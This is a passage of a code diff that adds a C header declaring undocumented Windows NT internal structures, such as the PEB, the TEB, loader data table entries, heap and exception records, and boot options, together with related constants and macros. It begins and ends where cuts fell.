FullPathName[256]; +} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; + +typedef struct _RTL_PROCESS_MODULES +{ + ULONG NumberOfModules; + RTL_PROCESS_MODULE_INFORMATION Modules[1]; +} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; + +typedef struct _RTL_PROCESS_MODULE_INFORMATION_EX +{ + USHORT NextOffset; + RTL_PROCESS_MODULE_INFORMATION BaseInfo; + ULONG ImageChecksum; + ULONG TimeDateStamp; + PVOID DefaultBase; +} RTL_PROCESS_MODULE_INFORMATION_EX, *PRTL_PROCESS_MODULE_INFORMATION_EX; + +// +// Loader Data Table. Used to track DLLs loaded into an +// image. +// +#ifdef __cplusplus +struct LIST_ENTRY_EX : public LIST_ENTRY +{ + BYTE unk1[8]; + HANDLE base; + BYTE unk2[20]; + WCHAR* name; +}; +#endif + +typedef struct _LDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + USHORT LoadCount; + USHORT TlsIndex; + union + { + LIST_ENTRY HashLinks; + struct + { + PVOID SectionPointer; + ULONG CheckSum; + }; + }; + union + { + ULONG TimeDateStamp; + PVOID LoadedImports; + }; + PVOID EntryPointActivationContext; + PVOID PatchInformation; + LIST_ENTRY ForwarderLinks; + LIST_ENTRY ServiceTagLinks; + LIST_ENTRY StaticLinks; + PVOID ContextInformation; + ULONG_PTR OriginalBase; + LARGE_INTEGER LoadTime; +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + +typedef const struct _LDR_DATA_TABLE_ENTRY *PCLDR_DATA_TABLE_ENTRY; + +typedef NTSTATUS LDR_RELOCATE_IMAGE_RETURN_TYPE; + +struct _FLS_CALLBACK_INFO; + +typedef BOOLEAN (NTAPI *PDLL_INIT_ROUTINE)( + _In_ PVOID DllHandle, + _In_ ULONG Reason, + _In_ OPTIONAL PCONTEXT Context + ); + +#define DOS_MAX_COMPONENT_LENGTH 255 +#define DOS_MAX_PATH_LENGTH (DOS_MAX_COMPONENT_LENGTH + 5) + +#define RTL_USER_PROC_CURDIR_CLOSE 0x00000002 +#define RTL_USER_PROC_CURDIR_INHERIT 0x00000003 + +typedef struct _RTL_RELATIVE_NAME +{ + STRING RelativeName; + HANDLE ContainingDirectory; +} RTL_RELATIVE_NAME, *PRTL_RELATIVE_NAME; + +typedef struct _RTLP_CURDIR_REF *PRTLP_CURDIR_REF; + +typedef struct _RTL_RELATIVE_NAME_U +{ + UNICODE_STRING RelativeName; + HANDLE ContainingDirectory; + PRTLP_CURDIR_REF CurDirRef; +} RTL_RELATIVE_NAME_U, *PRTL_RELATIVE_NAME_U; + +typedef enum _RTL_PATH_TYPE +{ + RtlPathTypeUnknown, + RtlPathTypeUncAbsolute, + RtlPathTypeDriveAbsolute, + RtlPathTypeDriveRelative, + RtlPathTypeRooted, + RtlPathTypeRelative, + RtlPathTypeLocalDevice, + RtlPathTypeRootLocalDevice +} RTL_PATH_TYPE, *PRTL_PATH_TYPE; + +#define RTL_MAX_DRIVE_LETTERS 32 +#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001 + +// 18/04/2011 updated +typedef struct _PEB +{ + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + union + { + BOOLEAN BitField; + struct + { + BOOLEAN ImageUsesLargePages : 1; + BOOLEAN IsProtectedProcess : 1; + BOOLEAN IsLegacyProcess : 1; + BOOLEAN IsImageDynamicallyRelocated : 1; + BOOLEAN SkipPatchingUser32Forwarders : 1; + BOOLEAN SpareBits : 3; + }; + }; + HANDLE Mutant; + + PVOID ImageBaseAddress; + PPEB_LDR_DATA Ldr; + PRTL_USER_PROCESS_PARAMETERS ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PRTL_CRITICAL_SECTION FastPebLock; + PVOID AtlThunkSListPtr; + PVOID IFEOKey; + union + { + ULONG CrossProcessFlags; + struct + { + ULONG ProcessInJob : 1; + ULONG ProcessInitializing : 1; + ULONG ProcessUsingVEH : 1; + ULONG ProcessUsingVCH : 1; + ULONG ProcessUsingFTH : 1; + ULONG ReservedBits0 : 27; + }; + ULONG EnvironmentUpdateCount; + }; + union + { + PVOID KernelCallbackTable; + PVOID UserSharedInfoPtr; + }; + ULONG SystemReserved[1]; + ULONG AtlThunkSListPtr32; + PVOID ApiSetMap; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[2]; + PVOID ReadOnlySharedMemoryBase; + PVOID HotpatchInformation; + PPVOID ReadOnlyStaticServerData; + PVOID AnsiCodePageData; + PVOID OemCodePageData; + PVOID UnicodeCaseTableData; + + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + + LARGE_INTEGER CriticalSectionTimeout; + SIZE_T HeapSegmentReserve; + SIZE_T HeapSegmentCommit; + SIZE_T HeapDeCommitTotalFreeThreshold; + SIZE_T HeapDeCommitFreeBlockThreshold; + + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PPVOID ProcessHeaps; + + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + ULONG GdiDCAttributeList; + + PRTL_CRITICAL_SECTION LoaderLock; + + ULONG OSMajorVersion; + ULONG OSMinorVersion; + USHORT OSBuildNumber; + USHORT OSCSDVersion; + ULONG OSPlatformId; + ULONG ImageSubsystem; + ULONG ImageSubsystemMajorVersion; + ULONG ImageSubsystemMinorVersion; + ULONG_PTR ImageProcessAffinityMask; + GDI_HANDLE_BUFFER GdiHandleBuffer; + PVOID PostProcessInitRoutine; + + PVOID TlsExpansionBitmap; + ULONG TlsExpansionBitmapBits[32]; + + ULONG SessionId; + + ULARGE_INTEGER AppCompatFlags; + ULARGE_INTEGER AppCompatFlagsUser; + PVOID pShimData; + PVOID AppCompatInfo; + + UNICODE_STRING CSDVersion; + + PVOID ActivationContextData; + PVOID ProcessAssemblyStorageMap; + PVOID SystemDefaultActivationContextData; + PVOID SystemAssemblyStorageMap; + + SIZE_T MinimumStackCommit; + + PPVOID FlsCallback; + LIST_ENTRY FlsListHead; + PVOID FlsBitmap; + ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)]; + ULONG FlsHighIndex; + + PVOID WerRegistrationData; + PVOID WerShipAssertPtr; + PVOID pContextData; + PVOID pImageHeaderHash; + union + { + ULONG TracingFlags; + struct + { + ULONG HeapTracingEnabled : 1; + ULONG CritSecTracingEnabled : 1; + ULONG SpareTracingBits : 30; + }; + }; +} PEB, *PPEB; + +// +// Fusion/sxs thread state information (aka, stuff noone cares about!) +// + +#define ACTIVATION_CONTEXT_STACK_FLAG_QUERIES_DISABLED (0x00000001) + +typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME +{ + struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous; + struct _ACTIVATION_CONTEXT* ActivationContext; + ULONG Flags; +} RTL_ACTIVATION_CONTEXT_STACK_FRAME, *PRTL_ACTIVATION_CONTEXT_STACK_FRAME; + + +typedef struct _ACTIVATION_CONTEXT_STACK +{ + struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME * ActiveFrame; + struct _LIST_ENTRY FrameListCache; + ULONG Flags; + ULONG NextCookieSequenceNumber; + ULONG StackId; +} ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK; + +typedef const ACTIVATION_CONTEXT_STACK * PCACTIVATION_CONTEXT_STACK; + +#define TEB_ACTIVE_FRAME_CONTEXT_FLAG_EXTENDED (0x00000001) + +typedef struct _TEB_ACTIVE_FRAME_CONTEXT +{ + ULONG Flags; + PSTR FrameName; +} TEB_ACTIVE_FRAME_CONTEXT, *PTEB_ACTIVE_FRAME_CONTEXT; + +typedef const TEB_ACTIVE_FRAME_CONTEXT *PCTEB_ACTIVE_FRAME_CONTEXT; + +typedef struct _TEB_ACTIVE_FRAME_CONTEXT_EX +{ + TEB_ACTIVE_FRAME_CONTEXT BasicContext; + PCSTR SourceLocation; // e.g. "c:\windows\system32\ntdll.dll" +} TEB_ACTIVE_FRAME_CONTEXT_EX, *PTEB_ACTIVE_FRAME_CONTEXT_EX; + +typedef const TEB_ACTIVE_FRAME_CONTEXT_EX *PCTEB_ACTIVE_FRAME_CONTEXT_EX; + +#define TEB_ACTIVE_FRAME_FLAG_EXTENDED (0x00000001) + +// 17/3/2011 updated +typedef struct _TEB_ACTIVE_FRAME +{ + ULONG Flags; + struct _TEB_ACTIVE_FRAME *Previous; + PTEB_ACTIVE_FRAME_CONTEXT Context; +} TEB_ACTIVE_FRAME, *PTEB_ACTIVE_FRAME; + +typedef const TEB_ACTIVE_FRAME *PCTEB_ACTIVE_FRAME; + +typedef struct _TEB_ACTIVE_FRAME_EX +{ + TEB_ACTIVE_FRAME BasicFrame; + PVOID ExtensionIdentifier; // use address of your DLL Main or something mapping in the address space +} TEB_ACTIVE_FRAME_EX, *PTEB_ACTIVE_FRAME_EX; + +typedef const TEB_ACTIVE_FRAME_EX *PCTEB_ACTIVE_FRAME_EX; + +// 18/04/2011 +typedef struct _TEB +{ + NT_TIB NtTib; + + PVOID EnvironmentPointer; + CLIENT_ID ClientId; + PVOID ActiveRpcHandle; + PVOID ThreadLocalStoragePointer; + PPEB ProcessEnvironmentBlock; + + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + PVOID CsrClientThread; + PVOID Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + PVOID WOW32Reserved; + LCID CurrentLocale; + ULONG FpSoftwareStatusRegister; + PVOID SystemReserved1[54]; + NTSTATUS ExceptionCode; + PVOID ActivationContextStackPointer; +#if defined(_M_X64) + UCHAR SpareBytes[24]; +#else + UCHAR SpareBytes[36]; +#endif + ULONG TxFsContext; + + GDI_TEB_BATCH GdiTebBatch; + CLIENT_ID RealClientId; + HANDLE GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + PVOID GdiThreadLocalInfo; + ULONG_PTR Win32ClientInfo[62]; + PVOID glDispatchTable[233]; + ULONG_PTR glReserved1[29]; + PVOID glReserved2; + PVOID glSectionInfo; + PVOID glSection; + PVOID glTable; + PVOID glCurrentRC; + PVOID glContext; + + NTSTATUS LastStatusValue; + UNICODE_STRING StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + + PVOID DeallocationStack; + PVOID TlsSlots[64]; + LIST_ENTRY TlsLinks; + + PVOID Vdm; + PVOID ReservedForNtRpc; + PVOID DbgSsReserved[2]; + + ULONG HardErrorMode; +#if defined(_M_X64) + PVOID Instrumentation[11]; +#else + PVOID Instrumentation[9]; +#endif + GUID ActivityId; + + PVOID SubProcessTag; + PVOID EtwLocalData; + PVOID EtwTraceData; + PVOID WinSockData; + ULONG GdiBatchCount; + + union + { + PROCESSOR_NUMBER CurrentIdealProcessor; + ULONG IdealProcessorValue; + struct + { + UCHAR ReservedPad0; + UCHAR ReservedPad1; + UCHAR ReservedPad2; + UCHAR IdealProcessor; + }; + }; + + ULONG GuaranteedStackBytes; + PVOID ReservedForPerf; + PVOID ReservedForOle; + ULONG WaitingOnLoaderLock; + PVOID SavedPriorityState; + ULONG_PTR SoftPatchPtr1; + PVOID ThreadPoolData; + PPVOID TlsExpansionSlots; +#if defined(_M_X64) + PVOID DeallocationBStore; + PVOID BStoreLimit; +#endif + ULONG MuiGeneration; + ULONG IsImpersonating; + PVOID NlsCache; + PVOID pShimData; + ULONG HeapVirtualAffinity; + HANDLE CurrentTransactionHandle; + PTEB_ACTIVE_FRAME ActiveFrame; + PVOID FlsData; + + PVOID PreferredLanguages; + PVOID UserPrefLanguages; + PVOID MergedPrefLanguages; + ULONG MuiImpersonation; + + union + { + USHORT CrossTebFlags; + USHORT SpareCrossTebBits : 16; + }; + union + { + USHORT SameTebFlags; + struct + { + USHORT SafeThunkCall : 1; + USHORT InDebugPrint : 1; + USHORT HasFiberData : 1; + USHORT SkipThreadAttach : 1; + USHORT WerInShipAssertCode : 1; + USHORT RanProcessInit : 1; + USHORT ClonedThread : 1; + USHORT SuppressDebugMsg : 1; + USHORT DisableUserStackWalk : 1; + USHORT RtlExceptionAttached : 1; + USHORT InitialThread : 1; + USHORT SpareSameTebBits : 1; + }; + }; + + PVOID TxnScopeEnterCallback; + PVOID TxnScopeExitCallback; + PVOID TxnScopeContext; + ULONG LockCount; + ULONG SpareUlong0; + PVOID ResourceRetValue; +} TEB, *PTEB; + +#define PcTeb 0x18 + +#define RtlGetCurrentProcessId() (HandleToUlong(NtCurrentTeb()->ClientId.UniqueProcess)) +#define RtlGetCurrentThreadId() (HandleToUlong(NtCurrentTeb()->ClientId.UniqueThread)) + +#define ZwCurrentProcess() NtCurrentProcess() + +// 17/3/2011 added +__inline struct _PEB * NtCurrentPeb() { return NtCurrentTeb()->ProcessEnvironmentBlock; } +#define WOWAddress() ( NtCurrentTeb()->WOW32Reserved ) +#define RtlProcessHeap() ( NtCurrentPeb()->ProcessHeap ) + +// 28/3/2011 added +#define RtlAcquireLockRoutine(L) RtlEnterCriticalSection((PRTL_CRITICAL_SECTION)(L)) + +// added 18.04.2011 +typedef struct _THREAD_BASIC_INFORMATION +{ + NTSTATUS ExitStatus; + PTEB TebBaseAddress; + CLIENT_ID ClientId; + KAFFINITY AffinityMask; + KPRIORITY Priority; + KPRIORITY BasePriority; +} THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION; + +// added 20.12.11 +// Process Device Map information +// NtQueryInformationProcess using ProcessDeviceMap +// NtSetInformationProcess using ProcessDeviceMap +// +//#pragma pack (push, 1) +typedef struct _PROCESS_DEVICEMAP_INFORMATION { + union { + struct { + HANDLE DirectoryHandle; + } Set; + struct { + ULONG DriveMap; + UCHAR DriveType[ 32 ]; + } Query; + }; +} PROCESS_DEVICEMAP_INFORMATION, *PPROCESS_DEVICEMAP_INFORMATION; + +typedef struct _PROCESS_DEVICEMAP_INFORMATION_EX { + union { + struct { + HANDLE DirectoryHandle; + } Set; + struct { + ULONG DriveMap; + UCHAR DriveType[ 32 ]; + } Query; + }; + ULONG Flags; // specifies that the query type +} PROCESS_DEVICEMAP_INFORMATION_EX, *PPROCESS_DEVICEMAP_INFORMATION_EX; +//#pragma pack(pop) + +typedef struct _PROCESS_BASIC_INFORMATION +{ + NTSTATUS ExitStatus; + PPEB PebBaseAddress; + ULONG_PTR AffinityMask; + KPRIORITY BasePriority; + ULONG_PTR UniqueProcessId; + ULONG_PTR InheritedFromUniqueProcessId; +} PROCESS_BASIC_INFORMATION; +typedef PROCESS_BASIC_INFORMATION *PPROCESS_BASIC_INFORMATION; + +typedef struct _PROCESS_EXTENDED_BASIC_INFORMATION +{ + SIZE_T Size; // Must be set to structure size on input + PROCESS_BASIC_INFORMATION BasicInfo; + union + { + ULONG Flags; + struct + { + ULONG IsProtectedProcess : 1; + ULONG IsWow64Process : 1; + ULONG IsProcessDeleting : 1; + ULONG IsCrossSessionCreate : 1; + ULONG SpareBits : 28; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; +} PROCESS_EXTENDED_BASIC_INFORMATION, *PPROCESS_EXTENDED_BASIC_INFORMATION; + +typedef struct _RTL_HEAP_ENTRY +{ + SIZE_T Size; + USHORT Flags; + USHORT AllocatorBackTraceIndex; + union + { + struct + { + SIZE_T Settable; + ULONG Tag; + } s1; // All other heap entries + struct + { + SIZE_T CommittedSize; + PVOID FirstBlock; + } s2; // RTL_SEGMENT + } u; +} RTL_HEAP_ENTRY, *PRTL_HEAP_ENTRY; + +#define RTL_HEAP_BUSY (USHORT)0x0001 +#define RTL_HEAP_SEGMENT (USHORT)0x0002 +#define RTL_HEAP_SETTABLE_VALUE (USHORT)0x0010 +#define RTL_HEAP_SETTABLE_FLAG1 (USHORT)0x0020 +#define RTL_HEAP_SETTABLE_FLAG2 (USHORT)0x0040 +#define RTL_HEAP_SETTABLE_FLAG3 (USHORT)0x0080 +#define RTL_HEAP_SETTABLE_FLAGS (USHORT)0x00E0 +#define RTL_HEAP_UNCOMMITTED_RANGE (USHORT)0x0100 +#define RTL_HEAP_PROTECTED_ENTRY (USHORT)0x0200 + +typedef struct _RTL_HEAP_TAG +{ + ULONG NumberOfAllocations; + ULONG NumberOfFrees; + SIZE_T BytesAllocated; + USHORT TagIndex; + USHORT CreatorBackTraceIndex; + WCHAR TagName[ 24 ]; +} RTL_HEAP_TAG, *PRTL_HEAP_TAG; + +typedef struct _RTL_HEAP_INFORMATION +{ + PVOID BaseAddress; + ULONG Flags; + USHORT EntryOverhead; + USHORT CreatorBackTraceIndex; + SIZE_T BytesAllocated; + SIZE_T BytesCommitted; + ULONG NumberOfTags; + ULONG NumberOfEntries; + ULONG NumberOfPseudoTags; + ULONG PseudoTagGranularity; + ULONG Reserved[ 5 ]; + PRTL_HEAP_TAG Tags; + PRTL_HEAP_ENTRY Entries; +} RTL_HEAP_INFORMATION, *PRTL_HEAP_INFORMATION; + +typedef struct _RTL_PROCESS_HEAPS +{ + ULONG NumberOfHeaps; + RTL_HEAP_INFORMATION Heaps[ 1 ]; +} RTL_PROCESS_HEAPS, *PRTL_PROCESS_HEAPS; + +typedef struct _RTL_PROCESS_LOCK_INFORMATION +{ + PVOID Address; + USHORT Type; + USHORT CreatorBackTraceIndex; + + HANDLE OwningThread; // from the thread's ClientId->UniqueThread + LONG LockCount; + ULONG ContentionCount; + ULONG EntryCount; + + // + // The following fields are only valid for Type == RTL_CRITSECT_TYPE + // + + LONG RecursionCount; + + // + // The following fields are only valid for Type == RTL_RESOURCE_TYPE + // + + ULONG NumberOfWaitingShared; + ULONG NumberOfWaitingExclusive; +} RTL_PROCESS_LOCK_INFORMATION, *PRTL_PROCESS_LOCK_INFORMATION; + +// do not name SHA_CTX, if using OpenSSL or such... produces errors. +typedef struct { + ULONG Unknown[6]; + ULONG State[5]; + ULONG Count[2]; + UCHAR Buffer[64]; +} ASHA_CTX, *PSHA_CTX; + +struct _CONTEXT; +struct _EXCEPTION_RECORD; + +// note, winnt.h ... such the pain-in-ass with this structure. +#if !defined(_WINNT_) +typedef +EXCEPTION_DISPOSITION +(*PEXCEPTION_ROUTINE) ( + _In_ struct _EXCEPTION_RECORD *ExceptionRecord, + _In_ PVOID EstablisherFrame, + _In_ _Out_ struct _CONTEXT *ContextRecord, + _In_ _Out_ PVOID DispatcherContext + ); + +typedef struct _EXCEPTION_REGISTRATION_RECORD { + struct _EXCEPTION_REGISTRATION_RECORD *Next; + PEXCEPTION_ROUTINE Handler; +} EXCEPTION_REGISTRATION_RECORD; + +typedef EXCEPTION_REGISTRATION_RECORD *PEXCEPTION_REGISTRATION_RECORD; +#endif + +#if !defined(POINTER_64) +#define POINTER_64 __ptr64 +typedef unsigned __int64 POINTER_64_INT; +#if defined(_M_X64) +#define POINTER_32 __ptr32 +#else +#define POINTER_32 +#endif +#endif + +typedef enum _NT_PRODUCT_TYPE +{ + NtProductWinNt = 1, + NtProductLanManNt, + NtProductServer +} NT_PRODUCT_TYPE, *PNT_PRODUCT_TYPE; + + +typedef enum _SUITE_TYPE +{ + SmallBusiness, + Enterprise, + BackOffice, + CommunicationServer, + TerminalServer, + SmallBusinessRestricted, + EmbeddedNT, + DataCenter, + SingleUserTS, + Personal, + Blade, + EmbeddedRestricted, + SecurityAppliance, + StorageServer, + ComputeServer, + MaxSuiteType +} SUITE_TYPE; + +#define VER_SERVER_NT 0x80000000 +#define VER_WORKSTATION_NT 0x40000000 +#define VER_SUITE_SMALLBUSINESS 0x00000001 +#define VER_SUITE_ENTERPRISE 0x00000002 +#define VER_SUITE_BACKOFFICE 0x00000004 +#define VER_SUITE_COMMUNICATIONS 0x00000008 +#define VER_SUITE_TERMINAL 0x00000010 +#define VER_SUITE_SMALLBUSINESS_RESTRICTED 0x00000020 +#define VER_SUITE_EMBEDDEDNT 0x00000040 +#define VER_SUITE_DATACENTER 0x00000080 +#define VER_SUITE_SINGLEUSERTS 0x00000100 +#define VER_SUITE_PERSONAL 0x00000200 +#define VER_SUITE_BLADE 0x00000400 +#define VER_SUITE_EMBEDDED_RESTRICTED 0x00000800 +#define VER_SUITE_SECURITY_APPLIANCE 0x00001000 +#define VER_SUITE_STORAGE_SERVER 0x00002000 +#define VER_SUITE_COMPUTE_SERVER 0x00004000 + +// +// exception structures +// + +#ifndef _WINNT_ // take presidence over winnt.h + +typedef struct _CONTEXT +{ + + // + // The flags values within this flag control the contents of + // a CONTEXT record. + // + // If the context record is used as an input parameter, then + // for each portion of the context record controlled by a flag + // whose value is set, it is assumed that that portion of the + // context record contains valid context. If the context record + // is being used to modify a threads context, then only that + // portion of the threads context will be modified. + // + // If the context record is used as an _In_ _Out_ parameter to capture + // the context of a thread, then only those portions of the thread's + // context corresponding to set flags will be returned. + // + // The context record is never used as an _Out_ only parameter. + // + + DWORD ContextFlags; + + // + // This section is specified/returned if CONTEXT_DEBUG_REGISTERS is + // set in ContextFlags. Note that CONTEXT_DEBUG_REGISTERS is NOT + // included in CONTEXT_FULL. + // + + DWORD Dr0; + DWORD Dr1; + DWORD Dr2; + DWORD Dr3; + DWORD Dr6; + DWORD Dr7; + + // + // This section is specified/returned if the + // ContextFlags word contians the flag CONTEXT_FLOATING_POINT. + // + + FLOATING_SAVE_AREA FloatSave; + + // + // This section is specified/returned if the + // ContextFlags word contians the flag CONTEXT_SEGMENTS. + // + + DWORD SegGs; + DWORD SegFs; + DWORD SegEs; + DWORD SegDs; + + // + // This section is specified/returned if the + // ContextFlags word contians the flag CONTEXT_INTEGER. + // + + DWORD Edi; + DWORD Esi; + DWORD Ebx; + DWORD Edx; + DWORD Ecx; + DWORD Eax; + + // + // This section is specified/returned if the + // ContextFlags word contians the flag CONTEXT_CONTROL. + // + + DWORD Ebp; + DWORD Eip; + DWORD SegCs; // MUST BE SANITIZED + DWORD EFlags; // MUST BE SANITIZED + DWORD Esp; + DWORD SegSs; + + // + // This section is specified/returned if the ContextFlags word + // contains the flag CONTEXT_EXTENDED_REGISTERS. + // The format and contexts are processor specific + // + + BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION]; + +} CONTEXT, *PCONTEXT; + +typedef struct _EXCEPTION_RECORD +{ + DWORD ExceptionCode; // NTSTATUS code of the exception. + DWORD ExceptionFlags; // need more information + struct _EXCEPTION_RECORD *ExceptionRecord; // pointer to an extra record + PVOID ExceptionAddress; // address of the exception happen + DWORD NumberParameters; // more information needed ... + ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; +} EXCEPTION_RECORD, *PEXCEPTION_RECORD; + +// +// Values put in ExceptionRecord.ExceptionInformation[0] +// First parameter is always in ExceptionInformation[1], +// Second parameter is always in ExceptionInformation[2] +// + +typedef struct _EXCEPTION_RECORD32 { + DWORD ExceptionCode; + DWORD ExceptionFlags; + DWORD ExceptionRecord; + DWORD ExceptionAddress; + DWORD NumberParameters; + DWORD ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; +} EXCEPTION_RECORD32, *PEXCEPTION_RECORD32; + +typedef struct _EXCEPTION_RECORD64 { + DWORD ExceptionCode; + DWORD ExceptionFlags; + DWORD64 ExceptionRecord; + DWORD64 ExceptionAddress; + DWORD NumberParameters; + DWORD __unusedAlignment; + DWORD64 ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; +} EXCEPTION_RECORD64, *PEXCEPTION_RECORD64; + +// +// Typedef for pointer returned by exception_info() +// + +typedef struct _EXCEPTION_POINTERS +{ + PEXCEPTION_RECORD ExceptionRecord; + PCONTEXT ContextRecord; +} EXCEPTION_POINTERS, *PEXCEPTION_POINTERS; + +#endif + +typedef NTSTATUS (NTAPI * PRTL_QUERY_REGISTRY_ROUTINE)( + _In_ PWSTR ValueName, + _In_ ULONG ValueType, + _In_ PVOID ValueData, + _In_ ULONG ValueLength, + _In_ PVOID Context, + _In_ PVOID EntryContext + ); + +typedef struct _RTL_QUERY_REGISTRY_TABLE { + PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine; + ULONG Flags; + PWSTR Name; + PVOID EntryContext; + ULONG DefaultType; + PVOID DefaultData; + ULONG DefaultLength; + +} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE; + +#define EXCEPTION_CHAIN_END ((struct _EXCEPTION_REGISTRATION_RECORD * POINTER_32)-1) + +#define MAJOR_VERSION 30 +#define MINOR_VERSION 00 +#define OS2_VERSION (MAJOR_VERSION << 8 | MINOR_VERSION ) + +#ifdef DBG +#define DBG_TEB_THREADNAME 16 +#define DBG_TEB_RESERVED_1 15 +#define DBG_TEB_RESERVED_2 14 +#define DBG_TEB_RESERVED_3 13 +#define DBG_TEB_RESERVED_4 12 +#define DBG_TEB_RESERVED_5 11 +#define DBG_TEB_RESERVED_6 10 +#define DBG_TEB_RESERVED_7 9 +#define DBG_TEB_RESERVED_8 8 +#endif // DBG + +#define PROCESS_PRIORITY_CLASS_UNKNOWN 0 +#define PROCESS_PRIORITY_CLASS_IDLE 1 +#define PROCESS_PRIORITY_CLASS_NORMAL 2 +#define PROCESS_PRIORITY_CLASS_HIGH 3 +#define PROCESS_PRIORITY_CLASS_REALTIME 4 +#define PROCESS_PRIORITY_CLASS_BELOW_NORMAL 5 +#define PROCESS_PRIORITY_CLASS_ABOVE_NORMAL 6 + +typedef struct _PROCESS_PRIORITY_CLASS { + BOOLEAN Foreground; + UCHAR PriorityClass; +} PROCESS_PRIORITY_CLASS, *PPROCESS_PRIORITY_CLASS; + +typedef struct _PROCESS_FOREGROUND_BACKGROUND { + BOOLEAN Foreground; +} PROCESS_FOREGROUND_BACKGROUND, *PPROCESS_FOREGROUND_BACKGROUND; + +typedef struct _FILE_PATH { + ULONG Version; + ULONG Length; + ULONG Type; + UCHAR FilePath[ANYSIZE_ARRAY]; +} FILE_PATH, *PFILE_PATH; + +#define FILE_PATH_VERSION 1 + +#define FILE_PATH_TYPE_ARC 1 +#define FILE_PATH_TYPE_ARC_SIGNATURE 2 +#define FILE_PATH_TYPE_NT 3 +#define FILE_PATH_TYPE_EFI 4 + +#define FILE_PATH_TYPE_M_In_ FILE_PATH_TYPE_ARC +#define FILE_PATH_TYPE_MAX FILE_PATH_TYPE_EFI + +typedef struct _WINDOWS_OS_OPTIONS { + UCHAR Signature[8]; + ULONG Version; + ULONG Length; + ULONG OsLoadPathOffset; + WCHAR OsLoadOptions[ANYSIZE_ARRAY]; + //FILE_PATH OsLoadPath; +} WINDOWS_OS_OPTIONS, *PWINDOWS_OS_OPTIONS; + +#define WINDOWS_OS_OPTIONS_SIGNATURE "WINDOWS" + +#define WINDOWS_OS_OPTIONS_VERSION 1 + +typedef struct _BOOT_ENTRY { + ULONG Version; + ULONG Length; + ULONG Id; + ULONG Attributes; + ULONG FriendlyNameOffset; + ULONG BootFilePathOffset; + ULONG OsOptionsLength; + UCHAR OsOptions[ANYSIZE_ARRAY]; + //WCHAR FriendlyName[ANYSIZE_ARRAY]; + //FILE_PATH BootFilePath; +} BOOT_ENTRY, *PBOOT_ENTRY; + +typedef struct _BOOT_OPTIONS { + ULONG Version; + ULONG Length; + ULONG Timeout; + ULONG CurrentBootEntryId; + ULONG NextBootEntryId; + WCHAR HeadlessRedirection[ANYSIZE_ARRAY]; +} BOOT_OPTIONS, *PBOOT_OPTIONS; + + +// +// Security APIs. +// + +typedef struct _USER_SID +{ + SID_IDENTIFIER_AUTHORITY sidAuthority; + ULONG UserGroupId; + ULONG UserId; +} USER_SID, *PUSER_SID; + + +typedef struct _USER_PERMISSION +{ + USER_SID UserSid; // identifies the user for whom you want to grant permissions to + ULONG dwAccessType; // currently, this is either ACCESS_ALLOWED_ACE_TYPE or ACCESS_DENIED_ACE_TYPE + BOOL bInherit; // the permissions inheritable? (eg a directory or reg key and you want new children to inherit this permission) + ULONG dwAccessMask; // access granted (eg FILE_LIST_CONTENTS or KEY_ALL_ACCESS, etc...) + ULONG dwInheritMask; // mask used for inheritance, usually (OBJECT_INHERIT_ACE | CONTAINER_INHERIT_ACE | INHERIT_ONLY_ACE) + ULONG dwInheritAccessMask; // the inheritable access granted (eg GENERIC_ALL) +} USER_PERMISSION, *PUSER_PERMISSION; + +#define LongAlignPtr(Ptr) ((PVOID)(((ULONG_PTR)(Ptr) + 3) & -4)) +#define LongAlignSize(Size) (((ULONG)(Size) + 3) & -4) + +// +// Macros for calculating the address of the components of a security +// descriptor. This will calculate the address of the field regardless +// of whether the security descriptor is absolute or self-relative form. +// A null value indicates the specified field is not present in the +// security descriptor. +// + +#define RtlpOwnerAddrSecurityDescriptor( SD ) \ + ( ((SD)->Control & SE_SELF_RELATIVE) ? \ + ( (((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Owner == 0) ? ((PSID) NULL) : \ + (PSID)RtlOffsetToPointer((SD), ((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Owner) \ + ) : \ + (PSID)((SD)->Owner) \ + ) + +#define RtlpGroupAddrSecurityDescriptor( SD ) \ + ( ((SD)->Control & SE_SELF_RELATIVE) ? \ + ( (((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Group == 0) ? ((PSID) NULL) : \ + (PSID)RtlOffsetToPointer((SD), ((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Group) \ + ) : \ + (PSID)((SD)->Group) \ + ) + +#define RtlpSaclAddrSecurityDescriptor( SD ) \ + ( (!((SD)->Control & SE_SACL_PRESENT) ) ? \ + (PACL)NULL : \ + ( 